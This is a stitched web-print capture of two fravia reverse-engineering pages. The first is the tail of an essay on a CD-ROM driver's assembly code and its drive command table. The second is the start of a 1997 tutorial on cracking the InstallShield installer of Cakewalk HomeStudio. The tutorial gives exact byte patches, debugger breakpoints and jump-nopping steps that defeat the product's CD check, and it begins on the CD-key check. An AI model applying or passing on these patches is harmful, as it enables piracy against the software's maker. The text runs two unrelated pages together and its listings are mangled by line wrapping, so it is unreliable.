18CB 83C605 add si, 0005
18CE E2F6 loop 18C6
18D0 F9 stc
18D1 EB05 jmp 18D8
18D3 2E8A4402 mov al , cs:[si+02] ;return irq
;number
18D7 F8 clc
18D8 5A pop dx
18D9 59 pop cx
18DA 5B pop bx
18DB 5E pop si
18DC C3 ret

call 182C ==> Prepare drive to receive the M.P.C.

182C FC cld
182D BE4806 mov si, 0648
1830 8B97DC06 mov dx, [bx+06DC]
1834 B90700 mov cx, 0007
1837 AC lodsb
1838 EE out dx, al
1839 42 inc dx
183A E2FB loop 1837
183C C3 ret

call 172Ch ==> Prepared to data request?

172C 803E3C0612 cmp byte ptr [063C], 12


;Was command 12h?
;What is this command????
1731 750E jne 1741
1733 C706C4060200 mov word ptr [06C4], 0002
1739 E88702 call 19C3
173C E8A802 call 19E7
173F 75FB jne 173C

1741 8B974C07 mov dx, [bx+074C]


1745 E87300 call 17BB ;Is drive busy?
1748 7225 jb 176F

174A C706C4060200 mov word ptr [06C4], 0002


1750 2E803ECB0688 cmp byte ptr cs:[06CB], 88
1756 7406 je 175E
1758 C706C406B400 mov word ptr [06C4], 00B4
175E E86202 call 19C3 ;Set timeout

http://www.instinct.org/fravia/rcgcd.htm (41 of 46) [2/7/2001 3:21:46 PM]


rcgcd

1761 E88302 call 19E7 ;Is timeout finished?


1764 7409 je 176F

1766 EC in al, dx ;Get inmediate status


1767 2488 and al, 88
1769 3C08 cmp al, 08 ;Prepared for data
;request?

176B 7404 je 1771


176D EBF2 jmp 1761

176F F9 stc
1770 C3 ret

1771 F8 clc
1772 C3 ret

Well, sorry I know this doc is very disordered, but you can
print it and so it will be easier to understand.

The conclusions we can extract of this is how a CD_UNIT,


works and we can find some M.P.C. we can use either under
W95 (this will be the next step of this project).

The execution flow is:

*Get function to perform.


*Prepare drive to send M.P.C.
*Create the M.P.C. for this function
*Send M.P.C.
*Get Data sent by the drive.

Obviously we must check the drive status between steps,


to be sure we can send/receive correctly the data.

So we will try to find out all the M.P.C., and here we have
again the invaluable help of Linux developers.

This is part of the sbpcd.h file.

all numbers (lba, msf-bin, msf-bcd, counts) to transfer high byte first

mnemo 7-byte command #bytes response (r0...rn)


________ ____________________ ____

Read Status:
status: 81. (1) one-byte command, gives the main
status byte
Read Error:
check1: 82 00 00 00 00 00 00. (6) r1: audio status

http://www.instinct.org/fravia/rcgcd.htm (42 of 46) [2/7/2001 3:21:46 PM]


rcgcd

Read Packet:
check2: 8e xx 00 00 00 00 00. (xx) gets xx bytes response, relating
to commands 01 04 05 07 08 09

Play Audio:
play: 0a ll-bb-aa nn-nn-nn. (0) play audio, ll-bb-aa: starting block (lba),
nn-nn-nn: #blocks
Play Audio MSF:
0b mm-ss-ff mm-ss-ff (0) play audio from/to

Play Audio Track/Index:


0c ...

Pause/Resume:
pause: 8d pr 00 00 00 00 00. (0) pause (pr=00)
resume (pr=80) audio playing

Mode Select:
84 00 nn-nn ??-?? 00 (0) nn-nn: 2048 or 2340
possibly defines transfer size

set_vol: 84 83 00 00 sw le 00. (0) sw(itch): lrxxxxxx (off=1)


le(vel): min=0, max=FF, else half
(firmware 2.11)

Mode Sense:
get_vol: 85 03 00 00 00 00 00. (2) tell current audio volume setting

Read Disc Information:


tocdesc: 8b 00 00 00 00 00 00. (6) read the toc descriptor ("msf-bin"-format)

Read TOC:
tocent: 8c fl nn 00 00 00 00. (8) read toc entry #nn
(fl=0:"lba"-, =2:"msf-bin"-format)

Read Capacity:
capacit: 88 00 00 00 00 00 00. (5) "read CD-ROM capacity"

Read Path Check:


ping: 00 00 00 00 00 00 00. (2) r0=AA, r1=55
("ping" if the drive is connected)

Read Drive Version:


ident: 83 00 00 00 00 00 00. (12) gives "MATSHITAn.nn"
(n.nn = 2.01, 2.11., 3.00, ...)

Seek:
seek: 01 00 ll-bb-aa 00 00. (0)
seek: 01 02 mm-ss-ff 00 00. (0)

Read Data:
read: 02 xx-xx-xx nn-nn fl. (??) read nn-nn blocks of 2048 bytes,
starting at block xx-xx-xx
fl=0: "lba"-, =2:"msf-bcd"-coded xx-xx-xx

http://www.instinct.org/fravia/rcgcd.htm (43 of 46) [2/7/2001 3:21:46 PM]


rcgcd

Read XA-Data:
read: 03 xx-xx-xx nn-nn fl. (??) read nn-nn blocks of 2340 bytes,
starting at block xx-xx-xx
fl=0: "lba"-, =2:"msf-bcd"-coded xx-xx-xx

Read SUB_Q:
89 fl 00 00 00 00 00. (13) r0: audio status, r4-r7: lba/msf,
fl=0: "lba", fl=2: "msf"

Read Disc Code:


8a 00 00 00 00 00 00. (14) possibly extended "check condition"-info

Read Header:
04 00 ll-bb-aa 00 00. (0) 4 bytes response with "check2"
04 02 mm-ss-ff 00 00. (0) 4 bytes response with "check2"

Spin Up:
05 00 ll-bb-aa 00 00. (0) possibly implies a "seek"

Spin Down:
06 ...

Diagnostic:
07 00 ll-bb-aa 00 00. (2) 2 bytes response with "check2"
07 02 mm-ss-ff 00 00. (2) 2 bytes response with "check2"

Read UPC:
08 00 ll-bb-aa 00 00. (16)
08 02 mm-ss-ff 00 00. (16)

Read ISRC:
09 00 ll-bb-aa 00 00. (15) 15 bytes response with "check2"
09 02 mm-ss-ff 00 00. (15) 15 bytes response with "check2"

Set XA Parameter:
86 ...

Read XA Parameter:
87 ...

==============================================================================
============================================================================*/

/*
* commands
*
* CR-52x: CMD0_
* CR-56x: CMD1_
* CD200: CMD2_ <== This is my CD model. * LCS-7260: CMDL_ * TEAC CD-55A:
CMDT_ * ECS-AT: CMDV_ */ #define CMD1_RESET 0x0a #define CMD2_RESET 0x01 #define
CMDT_RESET 0xc0 #define CMD1_LOCK_CTL 0x0c #define CMD2_LOCK_CTL 0x1e #define
CMDT_LOCK_CTL CMD2_LOCK_CTL #define CMDL_LOCK_CTL 0x0e #define CMDV_LOCK_CTL
CMDL_LOCK_CTL #define CMD1_TRAY_CTL 0x07 #define CMD2_TRAY_CTL 0x1b #define
CMDT_TRAY_CTL CMD2_TRAY_CTL #define CMDL_TRAY_CTL 0x0d #define CMDV_TRAY_CTL

http://www.instinct.org/fravia/rcgcd.htm (44 of 46) [2/7/2001 3:21:47 PM]


rcgcd

CMDL_TRAY_CTL #define CMD1_MULTISESS 0x8d #define CMDL_MULTISESS 0x8c #define


CMDV_MULTISESS CMDL_MULTISESS #define CMD1_SUBCHANINF 0x11 #define CMD2_SUBCHANINF
0x?? #define CMD1_ABORT 0x08 #define CMD2_ABORT 0x08 #define CMDT_ABORT 0x08 #define
CMD2_x02 0x02 #define CMD2_SETSPEED 0xda #define CMD0_PATH_CHECK 0x00 #define
CMD1_PATH_CHECK 0x??? #define CMD2_PATH_CHECK 0x??? #define CMDT_PATH_CHECK 0x???
#define CMDL_PATH_CHECK CMD0_PATH_CHECK #define CMDV_PATH_CHECK CMD0_PATH_CHECK
#define CMD0_SEEK 0x01 #define CMD1_SEEK CMD0_SEEK #define CMD2_SEEK 0x2b #define
CMDT_SEEK CMD2_SEEK #define CMDL_SEEK CMD0_SEEK #define CMDV_SEEK CMD0_SEEK #define
CMD0_READ 0x02 #define CMD1_READ 0x10 #define CMD2_READ 0x28 #define CMDT_READ
CMD2_READ #define CMDL_READ CMD0_READ #define CMDV_READ CMD0_READ #define
CMD0_READ_XA 0x03 #define CMD2_READ_XA 0xd4 #define CMD2_READ_XA2 0xd5 #define
CMDL_READ_XA CMD0_READ_XA /* really ?? */ #define CMDV_READ_XA CMD0_READ_XA #define
CMD0_READ_HEAD 0x04 #define CMD0_SPINUP 0x05 #define CMD1_SPINUP 0x02 #define
CMD2_SPINUP CMD2_TRAY_CTL #define CMDL_SPINUP CMD0_SPINUP #define CMDV_SPINUP
CMD0_SPINUP #define CMD0_SPINDOWN 0x06 /* really??? */ #define CMD1_SPINDOWN 0x06
#define CMD2_SPINDOWN CMD2_TRAY_CTL #define CMDL_SPINDOWN 0x0d #define CMDV_SPINDOWN
CMD0_SPINDOWN #define CMD0_DIAG 0x07 #define CMD0_READ_UPC 0x08 #define CMD1_READ_UPC
0x88 #define CMD2_READ_UPC 0x??? #define CMDL_READ_UPC CMD0_READ_UPC #define
CMDV_READ_UPC 0x8f #define CMD0_READ_ISRC 0x09 #define CMD0_PLAY 0x0a #define
CMD1_PLAY 0x??? #define CMD2_PLAY 0x??? #define CMDL_PLAY CMD0_PLAY #define CMDV_PLAY
CMD0_PLAY #define CMD0_PLAY_MSF 0x0b #define CMD1_PLAY_MSF 0x0e #define CMD2_PLAY_MSF
0x47 #define CMDT_PLAY_MSF CMD2_PLAY_MSF #define CMDL_PLAY_MSF 0x??? #define
CMD0_PLAY_TI 0x0c #define CMD1_PLAY_TI 0x0f #define CMD0_STATUS 0x81 #define
CMD1_STATUS 0x05 #define CMD2_STATUS 0x00 #define CMDT_STATUS CMD2_STATUS #define
CMDL_STATUS CMD0_STATUS #define CMDV_STATUS CMD0_STATUS #define CMD2_SEEK_LEADIN 0x00
#define CMD0_READ_ERR 0x82 #define CMD1_READ_ERR CMD0_READ_ERR #define CMD2_READ_ERR
0x03 #define CMDT_READ_ERR CMD2_READ_ERR /* get audio status */ #define CMDL_READ_ERR
CMD0_READ_ERR #define CMDV_READ_ERR CMD0_READ_ERR #define CMD0_READ_VER 0x83 #define
CMD1_READ_VER CMD0_READ_VER #define CMD2_READ_VER 0x12 #define CMDT_READ_VER
CMD2_READ_VER /* really ?? */ #define CMDL_READ_VER CMD0_READ_VER #define
CMDV_READ_VER CMD0_READ_VER #define CMD0_SETMODE 0x84 #define CMD1_SETMODE 0x09
#define CMD2_SETMODE 0x55 #define CMDT_SETMODE CMD2_SETMODE #define CMDL_SETMODE
CMD0_SETMODE #define CMD0_GETMODE 0x85 #define CMD1_GETMODE 0x84 #define CMD2_GETMODE
0x5a #define CMDT_GETMODE CMD2_GETMODE #define CMDL_GETMODE CMD0_GETMODE #define
CMD0_SET_XA 0x86 #define CMD0_GET_XA 0x87 #define CMD0_CAPACITY 0x88 #define
CMD1_CAPACITY 0x85 #define CMD2_CAPACITY 0x25 #define CMDL_CAPACITY CMD0_CAPACITY /*
missing in some firmware versions */ #define CMD0_READSUBQ 0x89 #define CMD1_READSUBQ
0x87 #define CMD2_READSUBQ 0x42 #define CMDT_READSUBQ CMD2_READSUBQ #define
CMDL_READSUBQ CMD0_READSUBQ #define CMDV_READSUBQ CMD0_READSUBQ #define CMD0_DISKCODE
0x8a #define CMD0_DISKINFO 0x8b #define CMD1_DISKINFO CMD0_DISKINFO #define
CMD2_DISKINFO 0x43 #define CMDT_DISKINFO CMD2_DISKINFO #define CMDL_DISKINFO
CMD0_DISKINFO #define CMDV_DISKINFO CMD0_DISKINFO #define CMD0_READTOC 0x8c #define
CMD1_READTOC CMD0_READTOC #define CMD2_READTOC 0x??? #define CMDL_READTOC
CMD0_READTOC #define CMDV_READTOC CMD0_READTOC #define CMD0_PAU_RES 0x8d #define
CMD1_PAU_RES 0x0d #define CMD2_PAU_RES 0x4b #define CMDT_PAUSE CMD2_PAU_RES #define
CMDL_PAU_RES CMD0_PAU_RES #define CMDV_PAUSE CMD0_PAU_RES #define CMD0_PACKET 0x8e
#define CMD1_PACKET CMD0_PACKET #define CMD2_PACKET 0x??? #define CMDL_PACKET
CMD0_PACKET #define CMDV_PACKET 0x??? And more defines: /* * bits of flags_cmd_out:
*/ #define f_respo3 0x100 #define f_putcmd 0x80 #define f_respo2 0x40 #define
f_lopsta 0x20 #define f_getsta 0x10 #define f_ResponseStatus 0x08 #define
f_obey_p_check 0x04 #define f_bit1 0x02 #define f_wait_if_busy 0x01 /* *
diskstate_flags: */ #define x80_bit 0x80 #define upc_bit 0x40 #define volume_bit 0x20
#define toc_bit 0x10 #define multisession_bit 0x08 #define cd_size_bit 0x04 #define
subq_bit 0x02 #define frame_size_bit 0x01 /* * the status_bits variable */ #define
p_success 0x100 #define p_door_closed 0x80 #define p_caddy_in 0x40 #define p_spinning

http://www.instinct.org/fravia/rcgcd.htm (45 of 46) [2/7/2001 3:21:47 PM]


rcgcd

0x20 #define p_check 0x10 #define p_busy_new 0x08 #define p_door_locked 0x04 #define
p_disk_ok 0x01 With this info, we can work developing our own driver, with it we can
control all, even we can create a virtual CD on any directory of your hard disk,
simply returning the info that the program demands. W95 is the same, go to the
iosubsys directory and find the vxd file that handles the CD (I'm working on it at
this time). Comments, addings and corrections are welcomed (and needed) +Rcg 1997
(c) +Rcg, 1997. All rights reversed.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 4

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/rcgcd.htm (46 of 46) [2/7/2001 3:21:47 PM]


natz-1.htm

InstallSHIELD Script Cracking


(Object oriented cracking: INSTALL WIZARDS CRACKING)

by NaTzGUL
(22 November 1997, slightly edited by fravia+)

Advanced Cracking Series


Courtesy of fravia's page of reverse engineering

Well, a very interesting essay. Here we have a very "sound" approach to Installshield cracking. Read and enjoy!

InstallSHIELD Script Cracking


(Object oriented cracking: INSTALL WIZARDS
CRACKING)

Author : NaTzGUL [REVOLT97]


Email : natzgul@hotmail.com
(Released on Nov.18.1997)

CONTENTS: A) INTRODUCTION (Its only an Intro )


B) TOOLS YOU WILL NEED (Well i think most of ya got these
Tools)
C) WHAT WE ARE DEALING WITH (I recommend that you read this before
:D
D) FIRST APPROACH (The Alternate way)
E) SECOND APPROACH (Script Cracking!)
F) ADDON (Common InstallSHIELD Installation)
G) WIN32.HLP (Disscriptions that will help you)
H) LAST WORDS (Maybe ya dont need to read this)
I) GREETINGS (Dont miss this Part, hehe!)

__________________________

A) INTRODUCTION

Welcome to my first Cracking Tutorial... I will try to write more


Essays and Tutorials in the Future.
I could have made more in the past, but i was afraid that anybody could read
my BAD English ;) so please excuse me and just try to follow me below.

LEVEL :
Well, I will try to give you all Informations and document all my Steps
and Listings, so maybe also a Beginner will be able to understand this

http://www.instinct.org/fravia/natz-1.htm (1 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

Tutorial (maybe ;).

TARGET : Our Target is Cakewalk HomeStudio from Twelve Tone Systems ,

The compressed File size (only really necessary parts) is


only 536 KB

PROTECTION : This Application has 3 Protection layers.

1.CD-CHECK
2.CD-KEY
3.SERIAL

__________________________

B) TOOLS YOU NEED

You will need the following Tools:

- SoftICE 3.x from Numega


(The best Debugger. Big Thanx to Numega)
- W32Dasm 8.9 from URSoft
(I love References) )
- Hex-Workshop or any other Hex-Editor
(Yeah, gimme the Bytes location)
- Icompx the InstallSHIELD de/compressor
(Thanx to Lord Caligo that has put it on his Page)
- A Wodka-Martini if you are a +Cracker and/or a cigarette ;)

You can get most tools from Lord Caligos Web-Page.


One of the best Cracking Resource i have ever seen!

http://cracking.home.ml.org/

__________________________

C) WHAT ARE WE DEALING WITH

After unzipping into C:/TEMP, we get the following ones:

_SETUP.LIB 151 KB
SETUP.EXE 659 KB
_SETUP.DLL 5,98 KB
SETUP.INS 89,5 KB
SETUP.PKG Not important

(There are a lot more files in the complete App, I got a


stripped one)

Let me first explain what we have here.

These are the typical Files from a InstallSHIELD Installation.

http://www.instinct.org/fravia/natz-1.htm (2 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

_SETUP.LIB is a compressed Data-Base from InstallSHIELD.


It can contain exes and dlls supporting the Installation.
Sometimes these Support Files are in the same dir like SETUP.EXE
(unlikely), but in our case they are compressed into _SETUP.LIB
(You will see and understand later).

What I didn't get was the compressed Data-Base Files (xxx.1-x,xxx.z)


containing the App Files and so they can be very big ;).

Dont mind it, because we dont need them anyway for cracking.
A compressed Data-Base File allways begins with "13 5D 65 8C 3A 01 02 00",
so if you cant find any xxx.z or xxx.1-x then just look for these bytes.

At the End of every compressed Data-Base File you can see all the File Names,
by the way.

SETUP.PKG contains all the File-Names in the App Data-Base which we


dont need and so we dont need SETUP.PKG either.

InstallSHIELD uses SETUP.PKG to refer the Files in the App Data-Base in


the copying process i believe. Anyway, we dont need it, so lets go on.

_SETUP.DLL is a InstallSHIELD Resource DLL and its not important for


us, because its only a Support File which is supplied with any
InstallSHIELD Installation.

SETUP.INS is the compiled Installation Script and its the most important
Part in a InstallSHILED Installation Process!
In Win95 it has got a globe connected to a phone as icon.
This File Controls any Action and has got most of the messages of the
Installation and it will play a major Role in our SECOND APPROACH.

SETUP.EXE is the head of all, it is the Installation Engine and


executes the Script and does all calls to DLLs and Disk-Access (32 Bit!).

So far so good, now we know a lot more about InstallSHIELD =)

Lets start with the....

__________________________

D) FIRST APPROACH

(CD-CHECK)

ASSUMPTION : I assume the following things under SoftICE :

F5="^x;"
F7="^here;"
F8="^t;"
F9="^bpx;"
F10="^p;"
F11="^G @SS:ESP;"

http://www.instinct.org/fravia/natz-1.htm (3 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

F12="^p ret;"

Also the winice.dat File in your SoftICE dir should contain :

EXP=c:\windows\system\kernel32.dll
EXP=c:\windows\system\user32.dll

HINT : "*" in Front of the Text coming up means, that the text into
brackets must be typed under SoftICE!

START : Ok, now lets get to business and start cracking.


First we just start the Istallation (SETUP.EXE) and see whats happening.
Well, a MessageBox tells us, that "Setup must be run from the original CD".
Our next logical step now should be setting a Breakpoint on
GetDriveTypeA ("A" coz SETUP.EXE is a 32 Bit App).
Have a look at part G) WIN32.HLP of this tutorial to get more info
about GetDriveType!

* We press Crtl+D and SoftICE pops up and then we type in


"BPX GetDriveTypeA"
* Pressing "Crtl+D" ("F5") gets us back to Windows, where we start
Setup.exe again.
Ok, we are in SoftICE before the MessageBox appears.
We are in the Kernel32 at GetDriveTypeA, so lets get out of here
* by pressing "F11" one time. And now we are in INSHELP, damn! whats
that ? It wasnt in our dir !!
* Well i typed in "MOD INSHELP" to get more info about this file
and SoftICE shows me, that its located in :

C:\TEMP\_ISTMP0.DIR\INSHELP.DLL

Now we see that its a DLL and that IstallSHIELD has created a
Temporary directory called _ISTMP0.DIR and then it puts the file
INSHELP.DLL in there.
But where does this File come from ?

Ok, maybe you dont have forgotten what i told you in C) about
compressed Data-Bases ? Yes ? Then you should read it again now!
So this DLL must be in _SETUP.LIB, but how should we patch it ?
Well we got ICOMPX the InstallSHIELD de/compressor ;)
Lets decompress _SETUP.LIB ("ICOMP _SETUP.LIB *.* -d -i")
These Files we will get :

INSHELP.DLL
UNINST.EXE
_ISRES.DLL

The last two files are only support Files and not important for us.
What we know now is that INSHELP.DLL makes the CD-CHECK and that it is
in _SETUP.LIB which we can decompress and then compress again.
By the way you may just type in "ICOMP" to get the full usage.
Now that we got all infos about this File and how to patch it lets
go on with SoftICEing ;).
We are still in INSHELP.DLL, so let me give you the listing first :

http://www.instinct.org/fravia/natz-1.htm (4 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

Your adresses may differ in the first four diggits ! (relocation)


And SoftICE pops up at 100011A0 (0) , so go there now!

DWORD TABLE:

:10001308 BA120010 DWORD 100012BA These are the DWORDS for the indirect jmps
:1000130C C7120010 DWORD 100012C7 I have place them here coz it will be
:10001310 D4120010 DWORD 100012D4 easier for you to follow me ;)
:10001314 E1120010 DWORD 100012E1
:10001318 EE120010 DWORD 100012EE
:1000131C B0110010 DWORD 100011B0
:10001320 FB120010 DWORD 100012FB

Start of this routine:

:10001160 81ECE8020000 sub esp, 000002E8 Create a temporary


Stack-Frame
:10001166 B9FFFFFFFF mov ecx, FFFFFFFF ecx=FFFFFFFF
(counter)
:1000116B 2BC0 sub eax, eax eax=0
:1000116D 56 push esi Save esi
:1000116E 57 push edi Save edi
:1000116F 8BBC24F4020000 mov edi, [esp + 000002F4] edi points to
"C:\TEMP\"
:10001176 F2 repnz
:10001177 AE scasb Scan String for 0
(end)
:10001178 F7D1 not ecx
ecx=lenght+1=9
:1000117A 2BF9 sub edi, ecx Adjust edi back
:1000117C 8BC1 mov eax, ecx Save lenght in eax
:1000117E C1E902 shr ecx, 02 Divide lenght by 4 =2
:10001181 8BF7 mov esi, edi esi=edi=ptr to
"C:\TEMP\"
:10001183 8D7C2448 lea edi, [esp + 48] <------| edi="ptr" to [esp+48]
:10001187 F3 repz | :10001188 A5 movsd | Copy "C:\TEMP\" to *edi :10001189 8BC8 mov
ecx, eax | ecx="eax=lenght" :1000118B 83E103 and ecx, 00000003 | ecx="mod" 9/4="1"
:1000118E F3 repz | :1000118F A4 movsb | Copy last byte(s) :10001190 C644244B00 mov
[esp + 4B], 00 |------- "C:\TEMP\" :10001195 8D4C2448 lea ecx, [esp + 48] <------
"C:\"="RootPathName" :10001199 51 push ecx Handle it to GetDriveTypeA * Reference To:
KERNEL32.GetDriveTypeA, Ord:00CEh | :1000119A FF15E0900010 Call dword ptr [100090E0]
This calls GetDriveTypeA (return: eax="Type)" :100011A0 83F806 cmp eax, 00000006
<------ (0) SoftICE breaks in here ! :100011A3 0F8704010000 ja 100012AD (1) :100011A9
FF248508130010 jmp dword ptr [4*eax + 10001308] (2) :100011B0 8D442414 lea eax, [esp
+ 14] (3) :100011B4 6A32 push 00000032 FileSystemNameSize :100011B6 8D4C2414 lea ecx,
[esp + 14] :100011BA 50 push eax lpFileSystemNameBuffer :100011BB 8D542414 lea edx,
[esp + 14] :100011BF 51 push ecx lpFileSystemFlags :100011C0 8D442414 lea eax, [esp +
14] :100011C4 52 push edx lpMaximumComponentLength :100011C5 8D8C2420010000 lea ecx,
[esp + 00000120] :100011CC 50 push eax lpVolumeSerialNumber :100011CD 8D54245C lea
edx, [esp + 5C] :100011D1 68C8000000 push 000000C8 VolumeNameSize :100011D6 51 push
ecx lpVolumeNameBuffer :100011D7 52 push edx lpRootPathName ("C:\") Ok, we are right
after the GetDrivetypeA call. Let us first figure out what will happen if we trace
further. (1) This conditional jmp will never happen if i can trust on the Description
of GetDriveType. (2) My eax is 3 (Hard-Disk) so this ptr will be
3*4+10001308="10001314" so this jmp would lead us to 100012E1 (see the DWORD TABLE

http://www.instinct.org/fravia/natz-1.htm (5 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

above !) :100012E1 33C0 xor eax, eax Set eax to 0 :100012E3 5F pop edi Restore edi
from stack :100012E4 5E pop esi Restore esi from stack :100012E5 81C4E8020000 add
esp, 000002E8 Delete temporary Stack-Frame :100012EB C20400 ret 0004 return Well it
seems that EAX="0" stands for BAD BOY ;) Cracking this CD-CHECK could end here just
by patching the instructions at the Start of this routine (10001160)... Original:
:10001160 81ECE8020000 sub esp, 000002E8 Create a temporary Stack-Frame :10001166
B9FFFFFFFF mov ecx, FFFFFFFF ecx="FFFFFFFF" :1000116B 2BC0 sub eax, eax eax="0"
:1000116D 56 push esi Save esi :1000116E 57 push edi Save edi Change to: :10001160
33C0 xor eax,eax eax="0" :10001162 40 inc eax eax="eax+1=1" GOOD BOY :10001163 C20400
ret 0004 Return Search for "81ECE8020000" in INSHELP.DLL with your Hex-Editor. You
will only find one location (Offset 560). Replace the bytes with "33C040C20400" and
save it. Ok, and now compress it back into _SETUP.LIB. Just type in "icomp
inshelp.dll _setup.lib" and dont delete INSHELP.DLL, because we will need it again
later ;) Do you want to know what this CD-CHECK would do further on ? If not just go
over to the (CD-KEY) Section below! Hmmm, so you wanna learn more about CD-CHECKS ;)
OK * What we do now is setting eax to 5 by typping in "r eax="5"" then the jmp will
bring us to dptr[5*4+10001308]="dptr[1000131C]=100011B0" which means we are right
after the jmp itself ! at (3) The instructions after (3) just pushes all the infos
for the GetVolumeInformationA call at 100011D8. * Reference To:
KERNEL32.GetVolumeInformationA, Ord:013Ah | :100011D8 FF15DC900010 Call dword ptr
[100090DC] This calls GetVolumeInformation :100011DE 85C0 test eax, eax Do we got all
infos? :100011E0 0F8481000000 je 10001267 (4) if yes goto 10001267 :100011E6
8D842410010000 lea eax, [esp + 00000110] Volume Name ("HD_C") * Possible StringData
Ref from Data Obj>"CWHS_601"
|
:100011ED B938600010 mov ecx, 10006038

* Referenced by a Jump at Address:1000120C(C)


|
:100011F2 8A10 mov dl, [eax] Here it compares my Volume
Name "HD_C"
:100011F4 3A11 cmp dl, [ecx] with "CWHS_601"
:100011F6 751A jne 10001212 (5) Bad jmp !
:100011F8 0AD2 or dl, dl
:100011FA 7412 je 1000120E
:100011FC 8A5001 mov dl, [eax+01]
:100011FF 3A5101 cmp dl, [ecx+01]
:10001202 750E jne 10001212 (5) Bad jmp !
:10001204 83C002 add eax, 00000002
:10001207 83C102 add ecx, 00000002
:1000120A 0AD2 or dl, dl
:1000120C 75E4 jne 100011F2

* Referenced by a Jump at Address:100011FA(C)


|
:1000120E 33C0 xor eax, eax All OK !
:10001210 EB05 jmp 10001217

To continue our tracing session you have to nop out the Bad jmps !
* Trace to the jmps "F10" and then "a" with two "nop"s.
(4) This jmp will only occure if Setup is running from the original
CD-Rom.
It then just bypasses the Volume and Filetype Check.

I also suggest that you read part F) of this Tutorial to get more and

http://www.instinct.org/fravia/natz-1.htm (6 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

detailed infos about GetVolumeInformation (FileSytemFlags) !!

Ok, now comes the part the (5) Bad jmps will jump to....

* Referenced by a Jump at Addresses:100011F6(C), :10001202(C)


|
:10001212 1BC0 sbb eax, eax eax=0
:10001214 83D8FF sbb eax, FFFFFFFF eax=1

* Referenced by a Jump at Address:10001210(U)


|
:10001217 85C0 test eax, eax if eax=0 then
:10001219 740D je 10001228 goto 10001228 GOOD
BOY !
:1000121B 33C0 xor eax, eax otherwise return
:1000121D 5F pop edi with eax=0 BAD BOY !
:1000121E 5E pop esi
:1000121F 81C4E8020000 add esp, 000002E8
:10001225 C20400 ret 0004

* Referenced by a Jump at Address:10001219(C)


|
:10001228 8D4C2414 lea ecx, [esp + 14] ecx points to my File System
Name "FAT"

* Possible StringData Ref from Data Obj ->"CDFS"


|
:1000122C B848600010 mov eax, 10006048

* Referenced by a Jump at Address:1000124B(C)


|
:10001231 8A11 mov dl, [ecx] here my File System Name
"FAT"
:10001233 3A10 cmp dl, [eax] will be compared with "CDFS"
!
:10001235 751A jne 10001251 (6) Bad jmp !
:10001237 0AD2 or dl, dl
:10001239 7412 je 1000124D
:1000123B 8A5101 mov dl, [ecx+01]
:1000123E 3A5001 cmp dl, [eax+01]
:10001241 750E jne 10001251 (6) Bad jmp !
:10001243 83C102 add ecx, 00000002
:10001246 83C002 add eax, 00000002
:10001249 0AD2 or dl, dl
:1000124B 75E4 jne 10001231

* Referenced by a Jump at Address:10001239(C)


|
:1000124D 33C0 xor eax, eax All OK !
:1000124F EB05 jmp 10001256

Again we have to nop out the (6) Bad jmps to continue !!

http://www.instinct.org/fravia/natz-1.htm (7 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

Otherwise we will land here...(10001251) BAD BOY

* Referenced by a Jump at Addresses:10001235(C), :10001241(C)


|
:10001251 1BC0 sbb eax, eax Old soup, look back
(10001212) !
:10001253 83D8FF sbb eax, FFFFFFFF

* Referenced by a Jump at Address:1000124F(U)


|
:10001256 85C0 test eax, eax
:10001258 740D je 10001267 GOOD BOYS jmps to 10001267
:1000125A 33C0 xor eax, eax
:1000125C 5F pop edi
:1000125D 5E pop esi
:1000125E 81C4E8020000 add esp, 000002E8
:10001264 C20400 ret 0004

* Referenced by a Jump at Addresses:100011E0(C), :10001258(C)


|
:10001267 8A442448 mov al , [esp + 48] al=Drive Letter "C"
43h
:1000126B 8D8C24D8010000 lea ecx, [esp + 000001D8]
:10001272 51 push ecx
:10001273 A250600010 mov [10006050], al

^----------------------------"X:\Cakewalk\_setup.lib"

* Possible StringData Ref from Data Obj ->"C:\Cakewalk\_setup.lib"


|
:10001278 6850600010 push 10006050
:1000127D E8EE010000 call 10001470 In this Sub it will call
FindFirstFileA
:10001282 83C408 add esp, 00000008 to look for "_setup.lib"
:10001285 83F8FF cmp eax, FFFFFFFF in "C:\Cakewalk\" directory
:10001288 750D jne 10001297 (7) Well it wont find it there and so it
will
:1000128A 33C0 xor eax, eax return with eax=FFFFFFFF
:1000128C 5F pop edi
:1000128D 5E pop esi
:1000128E 81C4E8020000 add esp, 000002E8
:10001294 C20400 ret 0004

(7) Change it to "jmp 10001297" or "je 10001297" to continue!

* Referenced by a Jump at Address:10001288(C)


|
:10001297 E894FDFFFF call 10001030 (8) In this Sub eax will just be
:1000129C 5F pop edi set to 1 GOOD BOY ;)
:1000129D 83F801 cmp eax, 00000001 if eax was wasnt 1 this
:100012A0 1BC0 sbb eax, eax sub will turn eax to
:100012A2 5E pop esi FFFFFFFF and the inc
:100012A3 40 inc eax finally will make it 0 BAD

http://www.instinct.org/fravia/natz-1.htm (8 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

BOY !
:100012A4 81C4E8020000 add esp, 000002E8
:100012AA C20400 ret 0004

(8) Here the call will go to...

:10001030 A130600010 mov eax, [10006030] eax=dword at [10006030]


:10001035 C3 ret Return

Setup calls a Sub in INSHELP while initialisation, which sets the


dword [10006030] to 1!

OK, we just have learned something more about CD-Protections under


Windows95 ;)

- INSHELP first checks if setup is running from a CD-ROM.


- Then it checks the Volume Name and the File System.
- And at least it just checks for a specific File "setup.lib".
- After all INSHELP will return "1" for OK and "0" for Error!

This CD-CHECK is defeated, now lets face the....

(CD-KEY)

Ok, the MessageBox never appears now, we get a Welcome Window instead ;)
We get an Edit area and a Text telling us to enter the 13 digit CD-KEY,
brbrb.
We type in "1234567890123" and then i set a Breakpoint on
* GetWindowTextA : "BPX GetWindowTextA".
After pressing the NEXT-> Button SoftICE pops up, this is easy hehe ;)
* We are in GetWindowTextA so lets get back to the App and press "F11".
I looked at EAX, because it allways contains the Text lenght
GetWindowTextA returns,
but hell!! this isnt the lengh of my Text and so this cannot be my Text =(,
brb.

Dont worry, this is just a little trick to prevent Beginners to crack it.
There are lotta other App out there using this trick btw !

